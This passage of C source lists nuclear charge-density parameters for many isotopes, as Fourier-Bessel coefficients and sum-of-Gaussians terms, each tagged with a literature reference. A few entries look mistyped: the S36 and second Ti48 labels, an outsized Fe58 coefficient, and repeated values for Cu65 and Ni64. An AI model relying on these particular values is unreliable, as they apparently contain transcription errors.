-0.10329e-1,-0.34036e-2,-0.41627e-3,-0.94435e-3,-0.25771e-3,
0.23759e-3,-0.10603e-3, 0.41480e-4, 0,0,
0, 0};
//Al27(13,14)Ro86
static double fb_13_14[18]={7.0, 0.43418e-1, 0.60298e-1, 0.28950e-2,-0.23522e-1,-0.79791e-2,
0.23010e-2, 0.10794e-2, 0.12574e-3,-0.13021e-3, 0.56563e-4,
-0.18011e-4, 0.42869e-5, 0, 0, 0,
0,0};
//Si28(14,14)Mi82
static double fb_14_14[18]={8.0, 0.33495e-1, 0.59533e-1, 0.20979e-1,-0.16900e-1,-0.14998e-1,
-0.93248e-3, 0.33266e-2, 0.59244e-3,-0.40013e-3, 0.12242e-3,
-0.12994e-4,-0.92784e-5, 0.72595e-5,-0.42096e-5, 0,
0, 0};
//Si29(14,15)Mi82
static double fb_14_15[18]={8.0, 0.33521e-1, 0.59679e-1, 0.20593e-1,-0.18646e-1,-0.1655e-1,
-0.11922e-2, 0.28025e-2,-0.67353e-4,-0.34619e-3, 0.17611e-3,
-0.57173e-5, 0.12371e-4, 0, 0, 0,
0, 0};
//Si30(14,16)Mi82
static double fb_14_16[18]={8.5, 0.28397e-1, 0.54163e-1, 0.25167e-1,-0.12858e-1,-0.17592e-1,
-0.46722e-2, 0.24804e-2, 0.14760e-2,-0.30168e-3, 0.48346e-4,
0.00000e0, -0.51570e-5, 0.30261e-5, 0, 0,
0, 0};
//P31(15,16)Mi82
static double fb_15_16[18]={8.0, 0.35305e-1, 0.59642e-1, 0.17274e-1,-0.19303e-1,-0.13545e-1,
0.63209e-3, 0.35462e-2, 0.83653e-3,-0.47904e-3, 0.19099e-3,
-0.69611e-4, 0.23196e-4, -0.77780e-5,0,0,
0,0};
//S32(16,16)Ry83b
static double fb_16_16[18]={8.0, 0.37251e-1, 0.60248e-1, 0.14748e-1,-0.18352e-1,-0.10347e-1,
0.30461e-2, 0.35277e-2,-0.39834e-4,-0.97177e-4, 0.92279e-4,
-0.51931e-4, 0.22958e-4,-0.86609e-5, 0.28879e-5,-0.86632e-6,
0, 0};
//S34(16,18)Ry83b
static double fb_16_18[18]={8,0.37036e-1, 0.58506e-1, 0.12082e-1,-0.19022e-1,-0.83421e-2,
0.45434e-2, 0.28346e-2,-0.52304e-3, 0.27754e-4, 0.59403e-4,
-0.42794e-4, 0.20407e-4,-0.79934e-5, 0.27354e-5,-0.83914e-6,
0, 0};
//S36(16,29)Ry83b
static double fb_16_20[18]={8,0.37032e-1, 0.57939e-1, 0.10049e-1,-0.19852e-1,-0.67176e-2,
0.61882e-2, 0.37795e-2,-0.55272e-3,-0.12904e-3, 0.15845e-3,
-0.84063e-4, 0.34010e-4,-0.11663e-4, 0.35204e-5, 0.95135e-6,
0, 0};
//Ar40(18,22)Ot82
static double fb_18_22[18]={9.0, 0.30451e-1, 0.55337e-1, 0.20203e-1,-0.16765e-1,-0.13578e-1,
-0.43204e-4, 0.91988e-3,-0.41205e-3, 0.11971e-3,-0.19801e-4,
-0.43204e-5, 0.61205e-5,-0.37803e-5, 0.18001e-5,-0.77407e-6,
0, 0};
//Ca40(20,20)Em83b
static double fb_20_20[18]={8.0, 0.44846e-1, 0.61326e-1,-0.16818e-2,-0.26217e-1,-0.29725e-2,
0.85534e-2, 0.35322e-2,-0.48258e-3,-0.39346e-3, 0.20338e-3,
0.25461e-4,-0.17794e-4, 0.67394e-5,-0.21033e-5, 0,
0,0};
//Ca48(20,24)Em83b
static double fb_20_24[18]={8.0, 0.44782e-1, 0.59523e-1,-0.74148e-2,-0.29466e-1,-0.28350e-3,
0.10829e-1, 0.30465e-2,-0.10237e-2,-0.17830e-3, 0.55391e-4,
-0.22644e-4, 0.82671e-5,-0.27343e-5, 0.82461e-6,-0.22780e-6,
0,0};
//Ti48(22,26)Se85
static double fb_22_26[18]={10.0, 0.27850e-1, 0.55432e-1, 0.26369e-1,-0.17091e-1,-0.21798e-1,
-0.24889e-2, 0.76631e-2, 0.34554e-2,-0.67477e-3, 0.10764e-3,
-0.16564e-5,-0.55566e-5, 0, 0, 0,
0, 0};
//Ti48(22,28)Se85
static double fb_22_28[18]={9.5, 0.31818e-1, 0.58556e-1, 0.19637e-1,-0.24309e-1,-0.18748e-1,
0.33741e-2, 0.89961e-2, 0.37954e-2,-0.41238e-3, 0.12540e-3,
0, 0, 0, 0, 0,
0, 0};
//Cr50(24,26)Li83c
static double fb_24_26[18]={9.0, 0.39174e-1, 0.61822e-1, 0.68550e-2,-0.30170e-1,-0.98745e-2,
0.87944e-2, 0.68502e-2,-0.93609e-3,-0.24962e-2,-0.15361e-2,
-0.73687e-3, 0,0,0,0,
0,0};
//Cr52(24,28)Li83c
static double fb_24_28[18]={9.0, 0.39287e-1, 0.62477e-1, 0.62482e-2,-0.32885e-1,-0.10648e-1,
0.10520e-1, 0.85478e-2,-0.24003e-3,-0.20499e-2,-0.12001e-2,
-0.56649e-3, 0 ,0 ,0,0,
0,0};
//Cr54(24,30)Li83c
static double fb_24_30[18]={9.0, 0.39002e-1, 0.60305e-1, 0.45845e-2,-0.30723e-1,-0.91355e-2,
0.93251e-2, 0.60583e-2,-0.15602e-2,-0.76809e-3, 0.76809e-3,
-0.34804e-3, 0, 0, 0, 0,
0, 0};
//Fe54(26,28)Wo76
static double fb_26_28[18]={9.0, 0.42339e-1, 0.64428e-1, 0.15840e-2,-0.35171e-1,-0.10116e-1,
0.12069e-1, 0.62230e-2,-0.12045e-2, 0.13561e-3, 0.10428e-4,
-0.16980e-4, 0.91817e-5,-0.39988e-5, 0.15731e-5,-0.57862e-6,
0.20186e-6,-0.67892e-7};
//Fe56(26,30)Wo76
static double fb_26_30[18]={9.0, 0.42018e-1, 0.62337e-1, 0.23995e-3,-0.32776e-1,-0.79941e-2,
0.10844e-1, 0.49123e-2,-0.22144e-2,-0.18146e-3, 0.37261e-3,
-0.23296e-3, 0.11494e-3,-0.50596e-4, 0.20652e-4,-0.79428e-5,
0.28986e-5,-0.10075e-5};
//Fe58(26,32)Wo76
static double fb_26_32[18]={9.0, 0.41791e-1, 0.60524e-1,-0.14978e-2,-0.31183e-1,-0.58013e-2,
0.10611e-1, 0.41629e-2,-0.29045e-5, 0.54106e-3,-0.38689e-3,
0.20514e-3,-0.95237e-4, 0.40707e-4,-0.16346e-1, 0.62233e-5,
-0.22568e-5, 0.78077e-6};
//Co59(27,32)Sc77
static double fb_27_32[18]={9.0, 0.43133e-1, 0.61249e-1,-0.32523e-2,-0.32681e-1,-0.49583e-2,
0.11494e-1, 0.55428e-2, 0.31398e-3,-0.70578e-4, 0.53725e-5,
-0.74650e-6, 0.19793e-5,-0.28059e-5, 0.27183e-5,-0.19454e-5,
0.10963e-5,-0.51114e-6};
//Ni58(28,30)Be83
static double fb_28_30a[18]={9.0, 0.44880e-1, 0.64756e-1,-0.27899e-2,-0.37016e-1,-0.71915e-2,
0.13594e-1, 0.66331e-2,-0.14095e-2,-0.10141e-2, 0.38616e-3,
-0.13871e-3, 0.47788e-4,-0.15295e-4, 0.59131e-5,-0.67880e-5,
0,0};
//Ni58(28,30)Wo76
static double fb_28_30b[18]={9.0, 0.45030e-1, 0.65044e-1,-0.32843e-2,-0.36241e-1,-0.67442e-2,
0.13146e-1, 0.50903e-2,-0.20787e-2, 0.12901e-3, 0.14828e-3,
-0.11530e-3, 0.60881e-4,-0.27676e-4, 0.11506e-4, 0.44764e-5,
0.16468e-5,-0.57496e-6};
//Ni60(28,32)Be83
static double fb_28_32a[18]={9.0, 0.44668e-1, 0.63072e-1,-0.42797e-2,-0.34806e-1,-0.48625e-2,
0.12794e-1, 0.54401e-2,-0.14075e-2,-0.76976e-3, 0.33487e-3,
-0.13141e-3, 0.52132e-4,-0.20394e-4, 0.59131e-5,-0.67880e-5,
0,0};
//Ni60(28,32)Wo76
static double fb_28_32b[18]={9.0, 0.44855e-1, 0.63476e-1,-0.51001e-2,-0.34496e-1,-0.43132e-2,
0.12767e-1, 0.49935e-2,-0.92940e-3, 0.28281e-3,-0.76557e-4,
0.18677e-4, 0.36855e-5,-0.32276e-6, 0.19843e-6, 0.16275e-6,
-0.82891e-7,-0.34896e-7};
//Ni60(28,32)Wo80
static double fb_28_32c[18]={9.0, 0.44142e-1, 0.62987e-1,-0.49864e-2,-0.34306e-1,-0.44060e-2,
0.12810e-1, 0.46914e-2,-0.84373e-3, 0.36928e-3,-0.15003e-3,
0.59665e-4,-0.23215e-4, 0.88005e-5,-0.32305e-5, 0.11496e-5,
-0.39658e-6, 0.13145e-6};
//Ni62(28,34)Wo76
static double fb_28_34[18]={9.0, 0.44581e-1, 0.61478e-1,-0.69425e-2,-0.33126e-1,-0.24964e-2,
0.12674e-1, 0.37148e-2,-0.20881e-2, 0.30193e-3, 0.57573e-4,
-0.77965e-4, 0.46906e-4,-0.22724e-4, 0.98243e-5,-0.39250e-5,
0.14732e-5, 0.52344e-6};
//Ni64(28,36)Wo76
static double fb_28_36[18]={9.0, 0.44429e-1, 0.60116e-1,-0.92003e-2,-0.33452e-1,-0.52856e-3,
0.13156e-1, 0.35152e-2,-0.21671e-2, 0.46497e-4, 0.25366e-3,
-0.18438e-2, 0.96874e-4,-0.44224e-4, 0.18493e-4,-0.72361e-5,
-0.72361e-5,-0.93929e-6};
//Cu63(29,34)Sc77
static double fb_29_34[18]={9.0, 0.45598e-1, 0.60706e-1,-0.78616e-2,-0.31638e-1,-0.14447e-2,
0.10953e-1, 0.42578e-2,-0.24224e-3,-0.30067e-3, 0.23903e-3,
-0.12910e-3, 0.60195e-4,-0.25755e-4, 0.10332e-4,-0.39330e-5,
0.14254e-5,-0.49221e-6};
//Cu65(29,36)Sc77
static double fb_29_36[18]={9.0, 0.45444e-1, 0.59544e-1,-0.94968e-2,-0.31561e-1, 0.22898e-3,
0.11189e-1, 0.37360e-2,-0.64873e-3,-0.51133e-3, 0.43765e-3,
-0.24276e-3, 0.11507e-3, 0.11507e-3, 0.20140e-4,-0.76945e-5,
0.28055e-5,-0.97411e-6};
//Zn64(30,34)Wo76
static double fb_30_34[18]={9.0, 0.47038e-1, 0.61536e-1, 0.90045e-2,-0.30669e-1,-0.78705e-3,
0.10034e-1, 0.14053e-2,-0.20640e-2, 0.35105e-3, 0.27303e-4,
-0.63811e-4, 0.40893e-4,-0.20311e-4, 0.88986e-5,-0.35849e-5,
0.13522e-5,-0.38635e-6};
//Zn66(30,36)Wo76
static double fb_30_36[18]={9.0, 0.46991e-1, 0.60995e-1,-0.96693e-2,-0.30457e-1,-0.53435e-3,
0.97083e-2, 0.14091e-2,-0.70813e-3, 0.20809e-3,-0.48275e-4,
0.12680e-5, 0.91369e-6,-0.14874e-5, 0.88831e-6,-0.41689e-6,
0.17283e-6,-0.65968e-7};
//Zn68(30,38)Wo76
static double fb_30_38[18]={9.0, 0.46654e-1, 0.58827e-1,-0.12283e-1,-0.29865e-1, 0.25669e-2,
0.10235e-1, 0.31861e-2,-0.17351e-3,-0.42979e-3, 0.33700e-3,
-0.18435e-3, 0.87043e-4,-0.37612e-4, 0.15220e-4,-0.58282e-5,
0.21230e-5,-0.73709e-6};
//Zn70(30,40)Wo76
static double fb_30_40[18]={9.0, 0.46363e-1, 0.57130e-1,-0.13877e-1,-0.30030e-1, 0.35341e-2,
0.10113e-1, 0.41029e-2, 0.76469e-3,-0.10138e-2, 0.60837e-3,
-0.29929e-3, 0.13329e-3,-0.55502e-4, 0.21893e-4,-0.82286e-5,
0.29559e-5,-0.10148e-5};
//Ge70(32,38)Ma84
static double fb_32_38[18]={10.0, 0.38182e-1, 0.60306e-1, 0.64346e-2,-0.29427e-1,-0.95888e-2,
0.87849e-2, 0.49187e-2,-0.15189e-2,-0.17385e-2,-0.16794e-3,
-0.11746e-3, 0.65768e-4,-0.30691e-4, 0.13051e-5,-0.52251e-5,
0,0};
//Ge72(32,40)Ma84
static double fb_32_40[18]={10.0, 0.38083e-1, 0.59342e-1, 0.47718e-2,-0.29953e-1,-0.88476e-2,
0.96205e-2, 0.47901e-2,-0.16869e-2,-0.15406e-2,-0.97230e-4,
-0.47640e-4,-0.15669e-5, 0.67076e-5,-0.44500e-5, 0.22158e-5,
0,0};
//Ge74(32,42)Ma84
static double fb_32_42[18]={10, 0.37989e-1, 0.58298e-1, 0.27406e-2,-0.30666e-1,-0.81505e-2,
0.10231e-1, 0.49382e-2,-0.16270e-2,-0.13937e-2, 0.15476e-3,
0.14396e-3,-0.73075e-4, 0.31998e-4,-0.12822e-4, 0.48406e-5,
0, 0};
//Ge76(32,44)Ma84
static double fb_32_44[18]={10, 0.37951e-1, 0.57876e-1, 0.15303e-2,-0.31822e-1,-0.76875e-2,
0.11237e-1, 0.50780e-2,-0.17293e-2,-0.15523e-2, 0.72439e-4,
0.16560e-3,-0.86631e-4, 0.39159e-4,-0.16259e-4, 0.63681e-5,
0, 0};
//Sr88(38,40)St76
static double fb_38_40[18]={9.0, 0.56435e-1, 0.55072e-1,-0.33363e-1,-0.26061e-1, 0.15749e-1,
0.75233e-2,-0.55044e-2,-0.23643e-2, 0.39362e-3,-0.22733e-3,
0.12519e-3,-0.61176e-4, 0.27243e-4,-0.11285e-4, 0.43997e-5,
-0.16248e-5, 0.57053e-6};
//Zr90(40,50)Ro76
static double fb_40_50[18]={10.0, 0.46188e-1, 0.61795e-1,-0.12315e-1,-0.36915e-1, 0.25175e-2,
0.15234e-1,-0.55146e-3,-0.60631e-2,-0.12198e-2, 0.36200e-3,
-0.16466e-3, 0.53305e-4,-0.50873e-5,-0.85658e-5, 0.86095e-5,
0,0};
//Zr92(40,52)Ro76
static double fb_40_52[18]={10.0, 0.45939e-1, 0.60104e-1,-0.13341e-1,-0.35106e-1, 0.31760e-2,
0.13753e-1,-0.82682e-3,-0.53001e-2,-0.97579e-3, 0.26489e-3,
-0.15873e-3, 0.69301e-4,-0.22278e-4, 0.39533e-5, 0.10609e-5,
0,0};
//Zr94(40,54)Ro76
static double fb_40_54[18]={10.0, 0.45798e-1 ,0.59245e-1,-0.13389e-1,-0.33252e-1, 0.39888e-2,
0.12750e-1,-0.15793e-2,-0.56692e-2,-0.15698e-2, 0.54394e-4,
-0.24032e-4, 0.38401e-4,-0.31690e-4, 0.18481e-4,-0.85367e-5,
0,0};
//Mo92(42,50)La86
static double fb_42_50[18]={12.0, 0.30782e-1, 0.59896e-1, 0.22016e-1,-0.28945e-1,-0.26707e-1,
0.40426e-2, 0.14429e-1, 0.31696e-2,-0.63061e-2,-0.45119e-2,
0.46236e-3, 0.94909e-3,-0.38930e-3,-0.14808e-3, 0.19622e-3,
-0.40197e-4,-0.71949e-4};
//Mo94(42,52)La86
static double fb_42_52[18]={12, 0.30661e-1, 0.58828e-1, 0.20396e-1,-0.28830e-1,-0.25077e-1,
0.44768e-2, 0.13127e-1, 0.19548e-2,-0.61403e-2,-0.35825e-2,
0.73790e-3, 0.61882e-3,-0.40556e-3,-0.55748e-5,-0.12453e-3,
-0.57812e-4,-0.21657e-4};
//Mo96(42,54)La86
static double fb_42_54[18]={12, 0.30564e-1, 0.58013e-1, 0.19255e-1,-0.28372e-1,-0.23304e-1,
0.49894e-2, 0.12126e-1, 0.10496e-2,-0.62592e-2,-0.32814e-2,
0.89668e-3, 0.50636e-3,-0.43412e-3, 0.71531e-4, 0.76745e-4,
-0.54316e-4, 0.23386e-6};
//Mo98(42,56)Dr75
static double fb_42_56[18]={12, 0.30483e-1, 0.57207e-1, 0.17888e-1,-0.28388e-1,-0.21778e-1,
0.56780e-2, 0.11236e-1, 0.82176e-3,-0.50390e-2,-0.23877e-2,
0.71492e-3, 0.29839e-3,-0.31408e-3, 0.80177e-3, 0.43682e-4,
-0.51394e-4, 0.22293e-4};
//Mo100(42,58)Dr75
static double fb_42_58[18]={12, 0.30353e-1, 0.56087e-1, 0.16057e-1,-0.28767e-1,-0.20683e-1,
0.62429e-2, 0.11058e-1, 0.11502e-2,-0.39395e-2,-0.14978e-2,
0.76350e-3, 0.10554e-3,-0.25658e-3, 0.10964e-3, 0.10015e-4,
-0.40341e-4, 0.25744e-4};
//Pd104(46,58)La86
static double fb_46_58[18]={11, 0.41210e-1, 0.62846e-1,-0.21202e-2,-0.38359e-1,-0.44693e-2,
0.16656e-1, 0.36873e-2,-0.57534e-2,-0.32499e-2, 0.69844e-3,
0.16304e-2, 0.59882e-3, 0, 0, 0,
0, 0};
//Pd106(46,60)La86
static double fb_46_60[18]={11, 0.41056e-1, 0.61757e-1,-0.29891e-2,-0.37356e-1,-0.35348e-2,
0.16085e-1, 0.28502e-2,-0.55764e-2,-0.15433e-2, 0.22281e-2,
0.13160e-2, 0.16508e-4, 0, 0, 0,
0,0};
//Pd108(46,62)La86
static double fb_46_62[18]={11, 0.40754e-1, 0.59460e-1,-0.54077e-2,-0.36305e-1,-0.21987e-2,
0.15418e-1, 0.25927e-2,-0.52781e-2,-0.19757e-2, 0.10339e-2,
0.22891e-3,-0.33464e-3,0, 0, 0,
0, 0};
//Pd110(46,64)La86
static double fb_46_64[18]={11.0,0.40668e-1, 0.58793e-1,-0.61375e-2,-0.35983e-1,-0.17447e-2,
0.14998e-1, 0.19994e-2,-0.53170e-2,-0.14289e-2, 0.16033e-2,
0.31574e-3,-0.42195e-3,0,0,0,
0,0};
//Sm144(62,82)Mo81
static double fb_62_82[18]={9.25,0.74734e-1, 0.26145e-1,-0.63832e-1, 0.10432e-1, 0.19183e-1,
-0.12572e-1,-0.39707e-2,-0.18703e-2, 0.12602e-2,-0.11902e-2,
-0.15703e-2,0,0,0,0,
0,0};
//Sm148(62,86)Ho80
static double fb_62_86a[18]={9.5, 0.70491e-1, 0.32601e-1,-0.55421e-1, 0.50111e-2, 0.20216e-1,
-0.85944e-2,-0.40106e-2, 0.19303e-2,-0.49689e-3,-0.17040e-3,
0,0,0,0,0,
0,0};
//Sm148(62,86)Mo81
static double fb_62_86b[18]={9.25,0.73859e-1, 0.24023e-1,-0.59437e-1, 0.10761e-1, 0.17022e-1,
-0.11401e-1,-0.18102e-2, 0.93011e-3, 0.98012e-3,-0.12601e-2,
-0.17402e-2,0,0,0,0,
0,0};
//Sm150(62,88)Mo81
static double fb_62_88[18]={9.25,0.73338e-1, 0.24626e-1,-0.52773e-1, 0.10582e-1, 0.15353e-1,
-0.95624e-2,-0.18804e-2,-0.79019e-3, 0.10102e-2,-0.26606e-2,
-0.18304e-2,0,0,0,0,
0,0};
//Sm152(62,90)Ho80
static double fb_62_90a[18]={10.5,0.56097e-1, 0.45123e-1,-0.40310e-1,-0.18171e-1, 0.20515e-1,
0.49023e-2,-0.67674e-2,-0.18927e-2, 0.15333e-2, 0,
0,0,0,0,0,
0,0};
//Sm152(62,90)Mo81
static double fb_62_90b[18]={9.25,0.72646e-1, 0.21824e-1,-0.54112e-1, 0.98321e-2, 0.16213e-1,
-0.65614e-2, 0.53611e-2,-0.14103e-2,-0.99022e-3,-0.23005e-2,
0,0,0,0,0,
0,0};
//Sm154(62,92)Ho80
static double fb_62_92[18]={10.5,0.55859e-1, 0.44002e-1,-0.40342e-1,-0.17989e-1, 0.19817e-1,
0.51643e-2,-0.60212e-2,-0.23127e-2, 0.47024e-3, 0,
0,0,0,0,0,
0,0};
//Gd154(64,90)He82
static double fb_64_90[18]={10.0,0.63832e-1, 0.36983e-1,-0.48193e-1,-0.51046e-2, 0.19805e-1,
-0.82574e-3,-0.46942e-2,0,0,0,
0,0,0,0,0,
0,0};
//Gd158(64,94)Mu84
static double fb_64_94[18]={10.5,0.57217e-1, 0.43061e-1,-0.41996e-1,-0.17203e-1, 0.19933e-1,
0.51060e-2,-0.73665e-2,-0.20926e-2, 0.21883e-2,0,
0,0,0,0,0,
0,0};
//Er166(68,98)Ca78
static double fb_68_98[18]={11.0,0.54426e-1, 0.47165e-1,-0.38654e-1,-0.19672e-1, 0.22092e-1,
0.78708e-2,-0.53005e-2, 0.50005e-3, 0.52005e-3,-0.35003e-3,
0.12001e-3,0,0,0,0,
0,0};
//Yb174(70,104)Sa79
static double fb_70_104[18]={11.0,0.54440e-1, 0.40034e-1,-0.45606e-1,-0.20932e-1, 0.20455e-1,
0.27061e-2,-0.60489e-2,-0.15918e-3, 0.11938e-2, 0,
0,0,0,0,0,
0,0};
//Lu175(71,104)Sa79
static double fb_71_104[18]={11.0,0.55609e-1, 0.42243e-1,-0.45028e-1,-0.19491e-1, 0.22514e-1,
0.38982e-2,-0.72395e-2, 0.31822e-3,-0.23866e-3,0,
0,0,0,0,0,
0,0};
//Os192(76,116)Re84
static double fb_76_116[18]={11.0,0.59041e-1, 0.41498e-1,-0.49900e-1,-0.10183e-1, 0.29067e-1,
-0.57382e-2,-0.92348e-2, 0.36170e-2, 0.28736e-2, 0.24194e-3,
-0.16766e-2, 0.73610e-3, 0,0,0,
0,0};
//Pt196(78,118)Bo83
static double fb_78_118[18]={12.0,0.50218e-1, 0.53722e-1,-0.35015e-1,-0.34588e-1, 0.23564e-1,
0.14340e-1,-0.13270e-1,-0.51212e-2, 0.56088e-2, 0.14890e-2,
-0.10928e-2, 0.55662e-3,-0.50557e-4,-0.19708e-3, 0.24016e-3,
0,0};
//Tl203(81,122)Eu78
static double fb_81_122[18]={12.0,0.51568e-1, 0.51562e-1,-0.39299e-1,-0.30826e-1, 0.27491e-1,
0.10795e-1,-0.15922e-1,-0.25527e-2, 0.58548e-2, 0.19324e-3,
-0.17925e-3, 0.14307e-3,-0.91669e-4, 0.53497e-4,-0.29492e-4,
0.15625e-4,-0.80141e-5};
//Tl205(81,124)Eu78
static double fb_81_124[18]={12.0,0.51518e-1, 0.51165e-1,-0.39559e-1,-0.30118e-1, 0.27600e-1,
0.10412e-1,-0.15725e-1,-0.26546e-2, 0.70184e-2, 0.82116e-3,
-0.51805e-3, 0.32560e-3,-0.18670e-3, 0.10202e-3,-0.53857e-4,
0.27672e-4,-0.13873e-4};
//Pb204(82,122)Eu78
static double fb_82_122[18]={12.0,0.52102e-1, 0.51786e-1,-0.39188e-1,-0.29242e-1, 0.28992e-1,
0.11040e-1,-0.14591e-1,-0.94917e-3, 0.71349e-2, 0.24780e-3,
-0.61656e-3, 0.42335e-3,-0.25250e-3, 0.14106e-3,-0.75446e-4,
0.39143e-4,-0.19760e-4};
//Pb206(82,124)Eu78
static double fb_82_124[18]={12.0,0.52019e-1, 0.51190e-1,-0.39459e-1,-0.28405e-1, 0.28862e-1,
0.10685e-1,-0.14550e-1,-0.13519e-2, 0.77624e-2,-0.41882e-4,
-0.97010e-3, 0.69611e-3,-0.42410e-3, 0.23857e-3,-0.12828e-3,
0.66663e-4,-0.33718e-4};
//Pb207(82,125)Eu78
static double fb_82_125[18]={12.0,0.51981e-1, 0.51059e-1,-0.39447e-1,-0.28428e-1, 0.28988e-1,
0.10329e-1,-0.14029e-1,-0.46728e-3, 0.67984e-2, 0.56905e-3,
-0.50430e-3, 0.32796e-3,-0.19157e-3, 0.10565e-3,-0.56200e-4,
0.29020e-4,-0.14621e-4};
//Pb208(82,126)Eu78
static double fb_82_126a[18]={12.0,0.51936e-1, 0.50768e-1,-0.39646e-1,-0.28218e-1, 0.28916e-1,
0.98910e-2,-0.14388e-1,-0.98262e-3, 0.72578e-2, 0.82318e-3,
-0.14823e-2, 0.13245e-3,-0.84345e-4, 0.48417e-4,-0.26562e-4,
0.14035e-4,-0.71863e-5};
//Pb208(82,126)Fr77b
static double fb_82_126b[18]={11.0,0.62732e-1, 0.38542e-1,-0.55105e-1,-0.26990e-2, 0.31016e-1,
-0.99486e-2,-0.93012e-2, 0.76653e-2, 0.20885e-2,-0.17840e-2,
-0.74876e-4, 0.32278e-3,-0.11353e-3,0,0,
0,0};
//Bi209(83,126)Eu78
static double fb_83_126[18]={12.0,0.52448e-1, 0.50400e-1,-0.41014e-1,-0.27927e-1, 0.29587e-1,
0.98017e-2,-0.14930e-1,-0.31967e-3, 0.77252e-2, 0.57533e-3,
-0.82529e-3, 0.25728e-3,-0.11043e-3, 0.51930e-4,-0.24767e-4,
0.11863e-4,-0.56554e-5};
// Sum Of Gausians { rms, RP, R1, Q1,R2, Q2, ...,R12 ,Q12}
//H3(1,2)Ju85s
static double sog_1_2[26]=
{
1.764,0.80,
0.0, 0.035952,
0.2, 0.027778,
0.5, 0.131291,
0.8, 0.221551,
1.2, 0.253691,
1.6, 0.072905,
2.0, 0.152243,
2.5, 0.051564,
3.0, 0.053023,
0,0,
0,0,
0,0
};
//He3(2,1)MC77
static double sog_2_1[26]=
{
1.835, 1.10,
0.0, 0.000029,
0.6, 0.606482,
1.0, 0.066077,
1.3, 0.000023,
1.8, 0.204417,
2.3, 0.115236,
2.7, 0.000001,
3.2, 0.006974,
4.1, 0.000765,
0,0,
0,0,
0,0
};
//He4(2,2)Si82
static double sog_2_2[26]=
{
1.6768,1.00,
0.2, 0.034724,
0.6, 0.430761,
0.9, 0.203166,
1.4, 0.192986,
1.9, 0.083866,
2.3, 0.033007,
2.6, 0.014201,
3.1, 0.000000,
3.5, 0.006860,
4.2, 0.000000,
4.9, 0.000438,
5.2, 0.000000
};
//C12(6,6)Si82
static double sog_6_6[26]=
{
2.4696, 1.20,
0.0, 0.016690,
0.4, 0.050325,
1.0, 0.128621,
1.3, 0.180515,
1.7, 0.219097,
2.3, 0.278416,
2.7, 0.058779,
3.5, 0.057817,
4.3, 0.007739,
5.4, 0.002001,
6.7, 0.000007,
0, 0
};
//O16(8,8)Si70b
static double sog_8_8[26]=
{
2.711, 1.30,
0.4, 0.057056,
1.1, 0.195701,
1.9, 0.311188,
2.2, 0.224321,
2.7, 0.059946,
3.3, 0.135714,
4.1, 0.000024,
4.6, 0.013961,
5.3, 0.000007,
5.6, 0.000002,
5.9, 0.002096,
6.4, 0.000002
};
//Mg24(12,12)Li74
static double sog_12_12[26]=
{
3.027, 1.25,
0.1, 0.007372,
0.6, 0.061552,
1.1, 0.056984,
1.5, 0.035187,
1.9, 0.291692,
2.6, 0.228920,
3.2, 0.233532,
4.1, 0.074086,
4.7, 0.000002,
5.2, 0.010876,
6.1, 0.000002,
7.0, 0.000002
};
//Si28(14,14)Li74
static double sog_14_14[26]=
{
3.121, 1.30,
0.4, 0.033149,
1.0, 0.106452,
1.9, 0.206866,
2.4, 0.286391,
3.2, 0.250448,
3.6, 0.056944,
4.1, 0.016829,
4.6, 0.039630,
5.1, 0.000002,
5.5, 0.000938,
6.0, 0.000002,
6.9, 0.002366
};
//S32(16,16)Li74
static double sog_16_16[26]=
{
3.258, 1.35,
0.4, 0.045356,
1.1, 0.067478,
1.7, 0.172560,
2.5, 0.324870,
3.2, 0.254889,
4.0, 0.101799,
4.6, 0.022166,
5.0, 0.002081,
5.5, 0.005616,
6.3, 0.000020,
7.3, 0.000020,
7.7, 0.003219
};
//K39(19,20)Si74
static double sog_19_20[26]=
{
3.427, 1.45,
0.4, 0.043308,
0.9, 0.036283,
1.7, 0.110517,
2.1, 0.147676,
2.6, 0.189541,
3.2, 0.274173,
3.7, 0.117691,
4.2, 0.058273,
4.7, 0.000006,
5.5, 0.021380,
5.9, 0.000002,
6.9, 0.001145
};
//Ca40(20,20)Si79
static double sog_20_20[26]=
{
3.4803, 1.45,
0.4, 0.042870,
1.2, 0.056020,
1.8, 0.167853,
2.7, 0.317962,
3.2, 0.155450,
3.6, 0.161897,
4.3, 0.053763,
4.6, 0.032612,
5.4, 0.004803,
6.3, 0.004541,
6.6, 0.000015,
8.1, 0.002218
};
//Ca48(20,28)Si74
static double sog_20_28[26]=
{
3.460, 1.45,
0.6, 0.063035,
1.1, 0.011672,
1.7, 0.064201,
2.1, 0.203813,
2.9, 0.259070,
3.4, 0.307899,
4.3, 0.080585,
5.2, 0.008498,
5.7, 0.000025,
6.2, 0.000005,
6.5, 0.000004,
7.4, 0.001210
};
//Ni58(28,30)Ca80b
static double sog_28_30[26]=
{
3.7724, 1.45,
0.5, 0.035228,
1.4, 0.065586,
2.2, 0.174552,
3.0, 0.199916,
3.4, 0.232360,
3.9, 0.118496,
4.2, 0.099325,
4.6, 0.029860,
5.2, 0.044912,
5.9, 0.000232,
6.6, 0.000002,
7.9, 0.000010
};
//Sn116(50,66)Ca82a
static double sog_50_66[26]=
{
4.6271, 1.60,
0.1, 0.005727,
0.7, 0.009643,
1.3, 0.038209,
1.8, 0.009466,
2.3, 0.096665,
3.1, 0.097840,
3.8, 0.269373,
4.8, 0.396671,
5.5, 0.026390,
6.1, 0.048157,
7.1, 0.001367,
8.1, 0.000509
};
//Sn124(50,74)Ca82a
static double sog_50_74[26]=
{
4.6771, 1.60,
0.1, 0.004877,
0.7, 0.010685,
1.3, 0.030309,
1.8, 0.015857,
2.3, 0.088927,
3.1, 0.091917,
3.8, 0.257379,
4.8, 0.401877,
5.5, 0.053646,
6.1, 0.043193,
7.1, 0.001319,
8.1, 0.000036
};
//Tl205(81,124)Fr83
static double sog_81_124[26]=
{
5.479, 1.70,
0.6, 0.007818,
1.1, 0.022853,
2.1, 0.000084,
2.6, 0.105635,
3.1, 0.022340,
3.8, 0.059933,
4.4, 0.235874,
5.0, 0.000004,
5.7, 0.460292,
6.8, 0.081621,
7.2, 0.002761,
8.6, 0.000803
};
//Pb206(82,124)Fr83
static double sog_82_124[26]=
{
5.490, 1.70,
0.6, 0.010615,
1.1, 0.021108,
2.1, 0.000060,
2.6, 0.102206,
3.1, 0.023476,
3.8, 0.065884,
4.4, 0.226032,
5.0, 0.000005,
5.7, 0.459690,
6.8, 0.086351,
7.2, 0.004589,
8.6, 0.000011
};
//Pb208(82,126)Fr77a
static double sog_82_126[26]=
{
5.5032, 1.70,
0.1, 0.003845,
0.7, 0.009724,
1.6, 0.033093,
2.1, 0.000120,
2.7, 0.083107,
3.5, 0.080869,
4.2, 0.139957,
5.1, 0.260892,
6.0, 0.336013,
